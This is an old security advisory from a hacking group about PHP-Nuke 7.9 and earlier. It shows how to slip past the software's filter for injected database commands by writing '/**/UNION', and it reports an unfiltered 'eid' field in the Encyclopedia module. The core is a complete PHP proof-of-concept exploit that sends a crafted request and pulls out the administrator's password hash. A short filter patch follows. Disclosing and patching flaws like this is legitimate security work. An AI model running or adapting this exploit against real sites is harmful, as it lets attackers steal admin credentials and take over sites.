/* -------------------------------------------------------- [N]eo [S]ecurity [T]eam [NST] - Advisory 27 - 2006-10-22 -------------------------------------------------------- Program: PHP Nuke Homepage: http://www.php.net Vulnerable Versions: PHP Nuke <= 7.9 Risk: High! Impact: Critical Risk -==PHP Nuke <= 7.9 SQL Injection and Bypass SQL Injection Protection vulnerabilities==- --------------------------------------------------------- - Description --------------------------------------------------------- PHP-Nuke is a news automated system specially designed to be used in Intranets and Internet. The Administrator has total control of his web site, registered users, and he will have in the hand a powerful assembly of tools to maintain an active and 100% interactive web site using databases. - Tested --------------------------------------------------------- localhost & many sites - Vulnerability Description --------------------------------------------------------- The most important and critical vulnerability is in the code designed to filter the POST inputs to protect the script against SQL Injections. ==[ mainfile.php 143-146 ]========================== [...] if (stripos_clone($postString,'%20union%20') OR stripos_clone($postString,'*/union/*') OR stripos_clone($postString,' union ') OR stripos_clone($postString_64,'%20union%20') OR stripos_clone($postString_64,'*/union/*') OR stripos_clone($postString_64,' union ') OR stripos_clone($postString_64,'+union+')) { header("Location: index.php"); die(); } [...] ==[ end mainfile.php ]============================== The protection is very good... but we can bypass it by using something like '/**/UNION ' or ' UNION/**/' ;) Also i found a SQL Injection vulnerability in the Encyclopedia module. The "eid" variable isn't filtered at any moment, so if we bypass the sql injection protection we can execute arbitrary sql commands. With a simple UNION statement we get the md5 hash of the admin password. Here is the real life Proof of Concept exploit. ==Real Proof of Concept exploit== <? /* Neo Security Team - Exploit made by Paisterist on 2006-10-22 http://www.neosecurityteam.net */ $host="localhost"; $path="/phpnuke/"; $prefix="nuke_"; $port="80"; $fp = fsockopen($host, $port, $errno, $errstr, 30); $data="query=fooaa&eid=foo'/**/UNION SELECT pwd as title FROM $prefix_authors WHERE '1'='1"; if ($fp) { $p="POST /phpnuke/modules.php?name=Encyclopedia&file=search HTTP/1.0\r\n"; $p.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*\r\n"; $p.="Referer: http://localhost/phpnuke/modules.php?name=Encyclopedia&file=search\r\n";; $p.="Accept-Language: es-ar\r\n"; $p.="Content-Type: application/x-www-form-urlencoded\r\n"; $p.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n"; $p.="Host: localhost\r\n"; $p.="Content-Length: ".strlen($data)."\r\n"; $p.="Pragma: no-cache\r\n"; $p.="Connection: keep-alive\r\n\r\n"; $p.=$data; fwrite($fp, $p); while (!feof($fp)) { $content .= fread($fp, 4096); } preg_match("/([a-zA-Z0-9]{32})/", $content, $matches); print_r($matches); } ?> ==Real Proof of Concept exploit== Whit this PoC code i get the md5 hash of the first admin (God) of the nuke_authors table. - How to fix it? More information? -------------------------------------------------------- You can found a patch on http://www.neosecurityteam.net/foro/ Also, you can modify the line 143 of mainfile.php, adding one more protection like: ==[ mainfile.php old line (143) ]========================== [...] if (stripos_clone($postString,'%20union%20') OR stripos_clone($postString,'*/union/*') OR stripos_clone($postString,' union ') OR stripos_clone($postString_64,'%20union%20') OR stripos_clone($postString_64,'*/union/*') OR stripos_clone($postString_64,' union ') OR stripos_clone($postString_64,'+union+')) { } [...] ==[ end mainfile.php ]===================================== ==[ mainfile.php new line (143) ]========================== [...] if (stripos_clone($postString,'%20union%20') OR stripos_clone($postString,'*/union/*') OR stripos_clone($postString,' union ') OR stripos_clone($postString_64,'%20union%20') OR stripos_clone($postString_64,'*/union/*') OR stripos_clone($postString_64,' union ') OR stripos_clone($postString_64,'+union+') OR stripos_clone($postString_64, '*/UNION ') OR stripos_clone($postString_64, ' UNION/*')) { } [...] ==[ end mainfile.php ]===================================== That's a momentary solution to the problem. I recommend to download the PHP Nuke 8.0 version in the next days... it is not free at the moment. - References -------------------------------------------------------- http://www.neosecurityteam.net/index.php?action=advisories&id=27 - Credits -------------------------------------------------------- Anti SQL Injection protection bypass by Paisterist -> paisterist.nst [at] gmail [dot] com SQL Injection vulnerability in Encyclopedia module discovered by Paisterist -> paisterist.nst [at] gmail [dot] com Proof of Concept exploit by Paisterist -> paisterist.nst [at] gmail [dot] com [N]eo [S]ecurity [T]eam [NST] - http://www.neosecurityteam.net/ - Greets -------------------------------------------------------- HaCkZaTaN K4P0 Daemon21 Link 0m3gA_x LINUX nitrous m0rpheus nikyt0x KingMetal Knightmare Argentina, Colombia, Chile, Bolivia, Uruguay EXISTS!! @@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@ '@@@@@''@@'@@@''''''''@@''@@@''@@ '@@'@@@@@@''@@@@@@ @@@'''''@@@ '@@'''@@@@'''''''''@@@''''@@@ @@@@''''@@'@@@@@@@@@@''''@@@@@ /* EOF */
